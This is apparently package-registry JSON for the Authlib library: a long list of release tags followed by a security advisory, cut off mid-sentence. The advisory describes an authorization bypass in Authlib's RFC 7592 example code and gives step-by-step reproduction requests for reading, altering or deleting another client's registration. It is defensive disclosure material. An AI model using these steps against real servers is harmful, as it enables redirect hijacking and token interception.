encies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.2.1"},{"name":"v1.2.0","sha":"7575ea336c58ff3d206a62a94f1c01a0e594cba4","kind":"commit","published_at":"2022-12-06T08:34:02.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.2.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.2.0"},{"name":"v0.15.6","sha":"0694276d9d9ec66b3d1db8d147f1c2afa4e30483","kind":"commit","published_at":"2022-11-01T12:54:52.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15.6","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.6/manifests","release_url":null},{"name":"v1.1.0","sha":"2a8a22630f098b276a535c30b628380f0a9646b1","kind":"commit","published_at":"2022-09-09T16:10:07.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.1.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.1.0"},{"name":"v1.0.1","sha":"2e721aa0c158f7d7bac96bc75f7c6d31a939007d","kind":"commit","published_at":"2022-04-06T11:52:43.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.0.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.0.1"},{"name":"v1.0.0","sha":"c73e2a8921a15ee1f96b604123e49bd2d5fd651b","kind":"commit","published_at":"2022-03-15T10:10:57.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.0.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.0.0"},{"name":"v0.15.5","sha":"d8e428c9350c792fc3d25dbaaffa3bfefaabd8e3","kind":"commit","published_at":"2021-10-18T12:08:43.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15.5","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.15.5"},{"name":"v0.15.4","sha":"45701441996b18452523105112d018c0f5f43a18","kind":"commit","published_at":"2021-06-05T07:07:38.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15.4","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.15.4"},{"name":"v0.15.3","sha":"33aab0272d7c8a857c851f49a32c6d374930549a","kind":"commit","published_at":"2021-01-15T13:51:55.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15.3","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.15.3"},{"name":"v0.15.2","sha":"1969b567733f6426e5a8e20c5edf3371e9d23e5c","kind":"commit","published_at":"2020-10-18T06:35:01.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15.2","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.15.2"},{"name":"v0.15.1","sha":"c70a805145db56a0909d583bdb70773732578c68","kind":"commit","published_at":"2020-10-14T12:56:02.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.15.1"},{"name":"v0.15","sha":"4e501ce3e58e2daaaba0b82018b047bb61741f0c","kind":"commit","published_at":"2020-10-10T06:53:45.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.15","html_url":"https://github.com/authlib/authlib/releases/tag/v0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.15/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.15"},{"name":"v0.14.3","sha":"ffdc4378a2b0c8e6627170396384d1bfcfb7ed40","kind":"commit","published_at":"2020-05-18T13:54:54.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.14.3","html_url":"https://github.com/authlib/authlib/releases/tag/v0.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.14.3"},{"name":"v0.14.2","sha":"ce8b46b9e64ab799587b0a577cf122c1523c69a6","kind":"commit","published_at":"2020-05-06T00:54:33.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.14.2","html_url":"https://github.com/authlib/authlib/releases/tag/v0.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.14.2"},{"name":"v0.14.1","sha":"8e8786bd2b0308d82438ef8a9424765a1777bfce","kind":"commit","published_at":"2020-02-12T04:39:08.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.14.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.14.1"},{"name":"v0.14","sha":"25e7fe4803af94b4b4057920a854fb6d0994ac78","kind":"commit","published_at":"2020-02-11T14:11:42.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.14","html_url":"https://github.com/authlib/authlib/releases/tag/v0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.14/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.14"},{"name":"v0.13","sha":"442da0bfd11673ab5049ed8c8b53341c35b4aaca","kind":"commit","published_at":"2019-11-11T11:32:22.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.13","html_url":"https://github.com/authlib/authlib/releases/tag/v0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.13/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.13"},{"name":"v0.12.1","sha":"1475dedabe610be442f89027c24b6de09a0c6610","kind":"commit","published_at":"2019-09-12T08:26:58.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.12.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.12.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.12.1"},{"name":"v0.12","sha":"19395bdfc99bba69acce4ff7ff726df7ed794813","kind":"commit","published_at":"2019-09-03T12:11:13.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.12","html_url":"https://github.com/authlib/authlib/releases/tag/v0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.12/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.12"},{"name":"v0.11","sha":"5403f90a0a910b1519622a2b97e03f0b9cce36e4","kind":"commit","published_at":"2019-04-06T05:00:23.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.11","html_url":"https://github.com/authlib/authlib/releases/tag/v0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.11/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.11"},{"name":"v0.10","sha":"19bc7cabe8f5bd8a4503cf8681d75c36fed419b8","kind":"commit","published_at":"2018-10-12T02:22:42.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.10","html_url":"https://github.com/authlib/authlib/releases/tag/v0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.10/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.10"},{"name":"v0.9","sha":"abf4555fa6b0d8cf64c31b2c4c90fb5d875c2de8","kind":"commit","published_at":"2018-08-12T04:38:51.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.9","html_url":"https://github.com/authlib/authlib/releases/tag/v0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.9/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.9"},{"name":"v0.8","sha":"a0226e08943aab25b423f2e7d9bc9a903faeb459","kind":"commit","published_at":"2018-06-17T04:49:14.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.8","html_url":"https://github.com/authlib/authlib/releases/tag/v0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.8/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.8"},{"name":"v0.7","sha":"aea225d3a2556a36025dc48742470317cee8e728","kind":"commit","published_at":"2018-04-28T07:14:47.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.7","html_url":"https://github.com/authlib/authlib/releases/tag/v0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.7"},{"name":"v0.6","sha":"0008acb2985087adae5855812ff5559a1ea0dd9a","kind":"commit","published_at":"2018-03-20T12:36:34.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.6","html_url":"https://github.com/authlib/authlib/releases/tag/v0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.6"},{"name":"v0.5.1","sha":"4fd0929fba4a91b304ee16f1a870fa7064e0af8e","kind":"commit","published_at":"2018-02-11T13:09:41.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.5.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.5.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.5.1"},{"name":"v0.5","sha":"96f7186da5d7eb0d561153277b93af0c7386dab7","kind":"commit","published_at":"2018-02-11T12:19:05.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.5","html_url":"https://github.com/authlib/authlib/releases/tag/v0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.5"},{"name":"v0.4.1","sha":"6f2970849fa2044740b66610508d8607f352e84b","kind":"commit","published_at":"2018-02-01T15:26:05.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.4.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.4.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.4.1"},{"name":"v0.4","sha":"8014315fcba3f635256119573a8f237befc4405a","kind":"commit","published_at":"2018-01-31T12:49:09.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.4","html_url":"https://github.com/authlib/authlib/releases/tag/v0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.4"},{"name":"v0.3","sha":"06f609cbbfcbb0cba3476015ec472d86ee84f894","kind":"commit","published_at":"2017-12-24T12:38:11.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.3","html_url":"https://github.com/authlib/authlib/releases/tag/v0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.3"},{"name":"v0.2.1","sha":"117e88d7c02be5f5abbc91785fb0250366544956","kind":"commit","published_at":"2017-12-06T02:03:27.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.2.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.2.1"},{"name":"v0.2","sha":"3ec75529da09dc2d238b84b9509da737c5ca241b","kind":"commit","published_at":"2017-11-25T12:33:22.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.2","html_url":"https://github.com/authlib/authlib/releases/tag/v0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.2"},{"name":"v0.1","sha":"baa74c624710f05ed26b651e552cbf8f8d02f0c2","kind":"commit","published_at":"2017-11-18T06:36:32.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v0.1","html_url":"https://github.com/authlib/authlib/releases/tag/v0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v0.1"}]},"repo_metadata_updated_at":"2026-11-07T20:14:34.778Z","dependent_packages_count":157,"downloads":107757780,"downloads_period":"last-month","dependent_repos_count":2180,"rankings":{"downloads":0.10299244852331889,"dependent_repos_count":0.2360813620800175,"dependent_packages_count":0.14989603039352103,"stargazers_count":1.122639904745705,"forks_count":2.665491471365363,"docker_downloads_count":0.6177592595487875,"average":0.8158100794427855},"purl":"pkg:pypi/authlib","advisories":[{"uuid":"GSA_kwCzR0hTQS1jNzNxLXc3NXAtajgyds4ACALT","url":"https://github.com/advisories/GHSA-c73q-w75p-j82v","title":"Authlib RFC 7592 examples omit registration-access-token client binding","description":"## Description\n\n### Summary\n\nRFC 7592 (OAuth 2.0 Dynamic Client Registration Management Protocol) lets a previously registered client read, update, or delete its own registration, authenticated by a `registration_access_token` issued specifically to that client at registration time. The entire security model of this protocol depends on the server verifying that the token presented in the request actually belongs to the client identified in the request, not merely that the token is valid for some client.\n\nAuthlib's `ClientConfigurationEndpoint` implements the control flow correctly in structure, calling `authenticate_token`, then `authenticate_client`, then `check_permission`, and treats all three as abstract methods that \"Developers MUST implement in subclass.\" The problem is that the documented example implementations for these methods, taken together exactly as written, never perform the one check that matters: binding the authenticated token to the specific client being accessed. A developer who implements these methods by following the provided examples ends up with a complete authorization bypass on this endpoint.\n\n### Details\n\n`authenticate_client`'s documented example (`authlib/oauth2/rfc7592/endpoint.py`):\n\n```python\ndef authenticate_client(self, request):\n    \"\"\"Read a client from the request payload.\n    Developers MUST implement this method in subclass::\n\n        def authenticate_client(self, request):\n            client_id = request.payload.data.get(\"client_id\")\n            return Client.get(client_id=client_id)\n\n    :return: client instance\n    \"\"\"\n    raise NotImplementedError()\n```\n\nThis looks the target client up purely by the `client_id` supplied in the request payload, with no reference to the token at all.\n\n`check_permission`'s documented example, in the same file:\n\n```python\ndef check_permission(self, client, request):\n    \"\"\"Checks whether the current client is allowed to be accessed, edited\n    or deleted. Developers MUST implement it in subclass, e.g.::\n\n        def check_permission(self, client, request):\n            return client.editable\n\n    :return: boolean\n    \"\"\"\n    raise NotImplementedError()\n```\n\nThis checks a property of the target client alone (whether it is generally \"editable\"), again with no reference to `request.credential`, the authenticated token object returned earlier by `authenticate_token` and stored on the request specifically so that later steps can check it:\n\n```python\ndef create_configuration_response(self, request):\n    token = self.authenticate_token(request)\n    if not token:\n        raise AccessDeniedError()\n\n    request.credential = token\n\n    client = self.authenticate_client(request)\n    ...\n    if not self.check_permission(client, request):\n        raise UnauthorizedClientError(...)\n```\n\n`request.credential` is set specifically so that a binding check can be performed downstream, but neither documented example ever reads it. Following both examples as written produces an implementation where the only requirements to access, modify, or delete a client's registration are: possessing any valid registration_access_token for any client, and knowing or guessing the target `client_id`.\n\nThis is meaningfully different from how the equivalent example is written for the token introspection endpoint (RFC 7662) elsewhere in the same codebase, which does correctly demonstrate checking the authenticated caller's own identity (`authlib/oauth2/rfc7662/introspection.py`):\n\n```python\ndef check_permission(self, token, client, request):\n    \"\"\"Check if the request has permission to introspect the token. Developers\n    MUST implement this method::\n\n        def check_permission(self, token, client, request):\n            # only allow a special client to introspect the token\n            return client.client_id == \"introspection_client\"\n    \"\"\"\n```\n\nIn that endpoint, `client` represents the already-authenticated caller (verified through normal client credential authentication earlier in the flow), so checking a property of `client` is meaningful authorization logic. In the RFC 7592 endpoint, `client` instead represents the target being acted upon, not the caller, so the same style of example is actively misleading: it looks like a reasonable authorization check but performs none of the binding the protocol requires.\n\nNo file anywhere in the repository, including the Flask, Django, and SQLAlchemy integration modules, provides a complete, corrected reference implementation of `ClientConfigurationEndpoint`. The misleading docstring examples are the only guidance shipped for this endpoint.\n\n### Realistic exploitability\n\nRFC 7591 dynamic client registration is commonly deployed without requiring an initial access token, since the specification explicitly anticipates open, self-service registration as a normal deployment model. Under that common configuration, an attacker can freely self-register their own throwaway client with no authentication at all, receive a valid `registration_access_token` scoped to that throwaway client, and then present that same token against `/register/{target_client_id}` for any other client, since neither documented example checks that the token corresponds to the target. If the target client's `editable` property (or whatever equivalent the developer implements based on the documented example) is true, an attacker can read the victim client's full registration including its metadata, update it (for example, changing `redirect_uris` to an attacker-controlled endpoint, enabling authorization code or token interception against that client's users), or delete it outright.\n\n### Reproduction\n\n1. Deploy an authorization server using `ClientConfigurationEndpoint` with `authenticate_client` and `check_permission` implemented exactly as documented in the class's own docstrings.\n2. As an attacker, register a new client via the RFC 7591 registration endpoint (commonly open/anonymous), obtaining `client_id_A` and `registration_access_token_A`.\n3. Identify or guess `client_id_B`, belonging to a different, unrelated client.\n4. Send `GET /register/client_id_B` (or `PUT`/`DELETE`) with `Authorization: Bearer registration_access_token_A`, and `client_id` set to `client_id_B` in the request body for the `PUT` case.\n5. `authenticate_token` succeeds because `registration_access_token_A` is a valid token. `authenticate_client` succeeds because it looks up `client_id_B` directly from the payload, ignoring which token was presented. `check_permission` succeeds because it only checks `client_B.editable`, not whether `registration_access_token_A` has any relationship to `client_B`. The request proceeds and returns, modifies, or deletes client B's registration.\n\n### Impact\n\nFull read, modify, and delete access to any other client's registration record, for any party able to obtain a valid registration_access_token for any client of their own. In an open dynamic registration deployment this reduces to no meaningful barrier at all, since attackers can self-issue their own qualifying token for free. Impact includes disclosure of client metadata, redirect URI hijacking enabling authorization code or token interception, and denial of service via deletion of arbitrary client registrations.\n\n## Suggested fix\n\nUpdate the documented example for `check_permission` (or `authenticate_client`) to explicitly demonstrate binding the authenticated token to the target client, for example:\n\n```python\ndef check_permission(self, client, request):\n    return request.credential.client_id == client.get_client_id()\n```\n\nand add an explicit warning in both docstrings that omitting this comparison results in a complete authorization bypass on this endpoint. Consider also shipping a complete, correct reference implementation of `ClientConfigurationEndpoint` in the Flask/Django/SQLAlchemy integration modules, since none currently exists.\n\n---\n\n## Affected products\n\n**Ecosystem:** pip  \n**Package name:** Authlib  \n**Affected versions:** 1.7.2  \n**Patched versions:** 1.9.1\n\n## Severity\n\nPrivileges Required is Low, reflecting that the attacker needs some registration_access_token of their own, which under the common open dynamic registration deployment 